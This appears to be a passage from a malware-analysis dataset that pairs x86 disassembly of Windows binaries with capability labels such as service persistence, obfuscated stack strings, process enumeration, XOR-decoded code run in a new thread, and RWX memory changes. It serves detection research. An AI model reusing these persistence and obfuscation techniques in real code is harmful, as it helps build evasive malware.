joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40147e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x168
mov eax, 0x441517
call fcn.0040350c
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
xor ebx, ebx
mov dword [ebp - 0x174], ecx
test ecx, ecx
mov dword [ebp - 0x168], ebx
lea edi, [ebp - 0x34]
mov dword [ebp - 4], ebx
mov eax, ebx
mov dword [ebp - 0x15c], 0x128
cmove edx, edi
mov dword [ebp - 0x160], eax
mov esi, ebx
mov dword [ebp - 0x24], 0x6c6e6977
mov dword [ebp - 0x20], 0x6e6f676f
mov ecx, ebx
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x34], 0x6c707865
mov dword [ebp - 0x30], 0x7265726f
mov dword [ebp - 0x2c], 0x6578652e
mov byte [ebp - 0x28], bl
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], ebx
cmp ecx, 0x12c
jge 0x401604
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x15c]
push eax
push esi
mov dword [ebp - 0x164], esi
call fcn.00401afe
pop ecx
pop ecx
test eax, eax
je 0x401606
push edi
mov edi, 0x3a244e7
xor edi, edx
sbb edi, eax
xor edi, esi
xor edi, esp
sbb edi, edx
pop edi
mov esi, dword [ebp - 0x164]
push dword [ebp - 0x170]
lea eax, [ebp - 0x138]
push eax
call fcn.0040d610
pop ecx
pop ecx
test eax, eax
jne 0x4015a5
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x154]
call dword [0x456628]
test eax, eax
je 0x4015a5
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x168], eax
jne 0x4015a5
push edi
add edi, eax
add edi, esi
xor edi, esp
mov edi, 0xcbbcafa4
sub edi, ebp
pop edi
mov eax, dword [ebp - 0x154]
mov esi, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
jmp 0x4015bc
lea eax, [ebp - 0x15c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401548
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x174], 0
jne 0x401604
test eax, eax
jne 0x401604
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.004024f1
mov eax, dword [ebp - 0x160]
pop ecx
mov ecx, dword [ebp - 0x16c]
inc ecx
xor ebx, ebx
mov dword [ebp - 0x16c], ecx
jmp 0x4014fe
mov ebx, eax
push esi
call fcn.004024f1
pop ecx
mov eax, ebx
call fcn.00403459
ret
Function at 0x40178c
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x400
lea eax, [ebp - 0x40c]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.00404960
add esp, 0xc
lea eax, [ebp - 0x40c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffa
jge 0x4017ee
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
call fcn.004028b3
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x410], eax
push eax
sbb eax, esi
sbb eax, eax
add eax, edx
sbb eax, esp
sbb eax, esi
add eax, eax
sbb eax, edx
nop
pop eax
cmp dword [ebp - 0x410], 0
je 0x4018e3
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4018f4
mov dword [ebp - 0xc], 0x65736142
mov byte [ebp - 8], 0
push eax
xor eax, edx
xor eax, eax
sbb eax, esi
and eax, ebp
pop eax
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x40c]
push eax
push ecx
push 2
push 0x10
push 0xf01ff
push 0x4566a8
push 0x456668
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x414], eax
push esi
mov esi, 0x6ef47d08
and esi, edi
sub esi, ebp
pop esi
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jge 0x4018ad
push 0
push 0
call dword [sym.imp.USER32.dll_SetCursorPos]
call fcn.0040295f
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x414], 0
je 0x4018e3
push edi
mov edi, 0x7a0c9f35
add edi, esp
nop
pop edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
jmp 0x4018e5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret
call fcn.00402861
int3

Function at 0x401a71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x6e72654b
mov dword [ebp - 0x1c], 0x32336c65
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x636f7250
mov dword [ebp - 8], 0x737365
push ecx
add ecx, edx
xor ecx, esi
add ecx, edx
add ecx, esi
xor ecx, edx
mov ecx, 0x59ce46bf
pop ecx
lea eax, [ebp - 0x10]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00401a02
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret
Function at 0x401afe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x28], eax
push eax
mov eax, 0x5f360fe9
or eax, edi
xor eax, esi
pop eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x14], 0x6e72654b
mov dword [ebp - 0x10], 0x32336c65
push dword [ebp - 0x28]
mov dword [ebp - 0xc], 0x6c6c642e
push dword [ebp - 0x2c]
mov byte [ebp - 8], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0x636f7250
push eax
mov dword [ebp - 0x20], 0x33737365
mov dword [ebp - 0x1c], 0x72694632
mov word [ebp - 0x18], 0x7473
mov byte [ebp - 0x16], 0
call fcn.00401a02
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret

Function at 0x401c14
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x2c], eax
push eax
mov eax, 0x5d9fe32a
mov eax, 0x3068a2de
pop eax
movaps xmm0, xmmword [0x442290]
lea eax, [ebp - 0x28]
mov dword [ebp - 0x14], 0x61737477
push dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x32336970
push dword [ebp + 8]
mov dword [ebp - 0xc], 0x6c6c642e
push eax
lea eax, [ebp - 0x14]
mov byte [ebp - 8], 0
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x6e
call fcn.00401a02
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret
Function at 0x401c89
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 0x61766441
mov dword [ebp - 0x20], 0x32336970
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebx], eax
push edx
mov edx, 0xa58c7560
mov edx, 0x411efcdd
xor edx, esi
nop
pop edx
mov eax, dword [ebp - 0x28]
xor ebx, ebx
cmp dword [eax], ebx
je 0x401d66
call fcn.0040d6f2
push 5
test eax, eax
pop ecx
cmovs eax, ecx
cmp eax, 0xffffffcb
jge 0x401d10
call fcn.004028b3
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6e65704f
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 0x76726553
push eax
mov dword [ebp - 0xc], 0x41656369
mov byte [ebp - 8], bl
call fcn.00401a02
pop ecx
pop ecx
mov dword [ebp - 0x2c], eax
push eax
xor eax, edx
sbb eax, esi
xor eax, edx
xor eax, esi
sbb eax, edx
and eax, edi
and eax, ebx
pop eax
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x401d66
mov eax, dword [ebp - 0x28]
push 0xf01ff
push 0x456668
push dword [eax]
call ecx
test eax, eax
jne 0x401d68
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403422
leave
ret

Function at 0x402442
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.0040d6f2
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffb
jge 0x40246a
call fcn.004028b3
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push ebx
mov ebx, 0xab0c6ed2
add ebx, esp
xor ebx, eax
add ebx, esp
pop ebx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.00401c89
mov dword [ebp - 8], eax
pop ecx
test eax, eax
je 0x4024d7
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xc], eax
push ecx
mov ecx, 0xfdf1e7df
sbb ecx, edx
add ecx, esi
sbb ecx, edx
sbb ecx, esi
nop
pop ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.0040d6f2
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4024dc
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
call fcn.004028b3
call fcn.00402861
int3
Function at 0x4027a0
Capabilities:
Delete service
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
call fcn.00401c89
mov ebx, eax
mov dword [ebp - 8], ebx
pop ecx
test ebx, ebx
je 0x402803
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 0xc], eax
push esi
mov esi, 0x25405d7c
sbb esi, esp
add esi, eax
sbb esi, esp
pop esi
call fcn.0040d6f2
test eax, eax
jns 0x4027ee
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x428963
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00428568

Function at 0x429571
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004292f8

Function at 0x42b7ba
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042af94

Function at 0x42b7c5
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042b1cf
Function at 0x6cfc14ec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 0xc]
mov dword [esp + 8], esi
mov dword [esp + 4], esi
mov dword [esp], 0x40000
call dword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
sub esp, 0xc
mov edi, eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov esi, eax
test ebx, ebx
jle 0x6cfc156d
xor ecx, ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
sub esp, 0x10
xor eax, eax
cmp eax, ebx
jge 0x6cfc156d
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 7
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [esi + eax], dl
inc eax
jmp 0x6cfc1552
mov dword [esp], esi
call fcn.6cfc14b9
xor eax, eax
xor edx, edx
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x6cfc14b0
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6cfc15cb
Capabilities:
Write file on windows

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 0xc]
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
mov dword [esp], 0x6cfcd060
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x6cfc1679
xor edi, edi
mov ebx, eax
mov dword [ebp - 0x1c], edi
mov edi, 0x19000
test esi, esi
jle 0x6cfc1655
cmp edi, esi
lea eax, [ebp - 0x1c]
cmovg edi, esi
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 8], edi
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
jne 0x6cfc1661
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
jmp 0x6cfc1679
mov eax, dword [ebp - 0x1c]
add dword [ebp + 8], eax
mov dword [esp], 0x3e8
sub esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
jmp 0x6cfc1624
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6cfc16a0
Capabilities:
Read file on windows
Read from mailslot

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push ebx
sub esp, 0x34
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x6cfcd040]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
sub esp, 0x14
test eax, eax
je 0x6cfc171e
mov edx, dword [ebp - 0x14]
mov eax, dword [ebx]
cmp edx, 0xffffffff
je 0x6cfc171e
xor ecx, ecx
mov dword [esp + 8], edx
mov dword [esp + 0x10], ecx
lea ecx, [ebp - 0xc]
mov dword [esp + 0xc], ecx
add eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [0x6cfcd040]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebx], eax
sub esp, 0x14
jmp 0x6cfc16b5
mov eax, dword [ebp + 0xc]
cmp dword [ebx], eax
sete al
mov ebx, dword [ebp - 4]
leave
movzx eax, al
ret

Function at 0x6cfc179b
Capabilities:
Create mailslot
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x38], 0x5c
div ecx
mov dword [esp + 0x34], 0x74
mov dword [esp + 0x30], 0x6f
mov dword [esp + 0x2c], 0x6c
mov dword [esp + 0x28], 0x73
mov dword [esp + 0x24], 0x6c
mov dword [esp + 0x20], 0x69
mov dword [esp + 0x1c], 0x61
mov dword [esp + 0x18], 0x6d
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_c_c_c_c_cslot__d
mov dword [esp], 0x6cfcd060
mov dword [esp + 0x3c], edx
call fcn.6cfc15a8
xor eax, eax
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 0x6cfcd060
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov dword [0x6cfcd040], eax
sub esp, 0x10
inc eax
je 0x6cfc189d
xor edx, edx
xor eax, eax
mov dword [esp + 8], 0x6cfc1681
mov dword [esp + 4], edx
mov dword [esp], edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], ecx
call fcn.6cfc172e
mov eax, dword [0x6cfcd040]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
leave
ret

Function at 0x6cfc18b7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0xc], 1
jne 0x6cfc18f3
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [0x6cfcd0a0], eax
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x6cfc18a0
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
leave
mov eax, 1
ret 0xc
Function at 0x6cfc1af0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.6cfc78d0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.6cfc78d0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x6cfc1b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6cfcd0c8]
test esi, esi
jle 0x6cfc1c70
mov eax, dword [0x6cfcd0cc]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x6cfc1b84
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x6cfc1c07
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x6cfc1b70
mov dword [esp], ebx
call fcn.6cfc2340
mov edi, eax
test eax, eax
je 0x6cfc1c97
mov eax, dword [0x6cfcd0cc]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.6cfc2480
mov edx, dword [0x6cfcd0cc]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6cfc1c77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x6cfc1c00
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x6cfc1c10
add dword [0x6cfcd0c8], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x6cfcd0cc]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6cfc1c00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.6cfc1af0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x6cfc1b8e
mov eax, dword [0x6cfcd0cc]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.6cfc1af0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.6cfc1af0
lea esi, [esi]
nop
Function at 0x6cfc1fb0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6cfcd0d8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6cfcd0d0]
sub esp, 4
test ebx, ebx
je 0x6cfc2005
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6cfc1ffe
test esi, esi
je 0x6cfc1ffe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6cfc1fe0
mov dword [esp], 0x6cfcd0d8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6cfc2340
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x6cfc0000], 0x5a4d
jne 0x6cfc2365
mov ecx, dword [0x6cfc003c]
cmp dword [ecx + 0x6cfc0000], 0x4550
lea edx, [ecx + 0x6cfc0000]
je 0x6cfc2370
ret
cmp word [ecx + 0x6cfc0018], 0x10b
jne 0x6cfc2365
push esi
movzx eax, word [ecx + 0x6cfc0014]
push ebx
movzx esi, word [ecx + 0x6cfc0006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x6cfc0000
test si, si
je 0x6cfc23b8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x6cfc23ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x6cfc23ba
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x6cfc23a0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x403410
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4151c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x41c490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4035a1
cmp byte [ebx + 0x49], 0
je 0x4035a1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403595
lea esi, [ebp - 0x2c]
call fcn.00402f50
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403483
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4034bc
dec eax
je 0x4034c0
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x40359c
call fcn.00401d00
xor al, al
jmp 0x4035a3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4034d0
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4034fd
cmp edi, 0x10
jae 0x4034df
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00406444
add esp, 0x10
cmp esi, eax
jne 0x40358d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x403599
test esi, esi
jne 0x403477
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4035be
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4035be
cmp edi, esi
jae 0x403576
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403d90
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403477
mov ecx, eax
cmp edi, 0x10
jae 0x403552
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40356d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403471
test esi, esi
jne 0x403548
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x403585
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403471
lea ecx, [ebp - 0x2c]
call fcn.00401d00
xor al, al
jmp 0x4035a3
lea ecx, [ebp - 0x2c]
call fcn.00401d00
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004053a2
mov esp, ebp
pop ebp
ret
push 0x4190fc
call fcn.00404e0c
int3
Function at 0x4038e0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41514b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x41c490]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], 0x419144
call fcn.00404f60
push 4
mov dword [ebp - 4], 0
call fcn.00406653
mov edi, eax
add esp, 4
test edi, edi
je 0x40395c
call fcn.00404d5b
mov dword [edi], eax
call fcn.00404b1a
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00404f21
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403952
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00404f49
jmp 0x40395e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
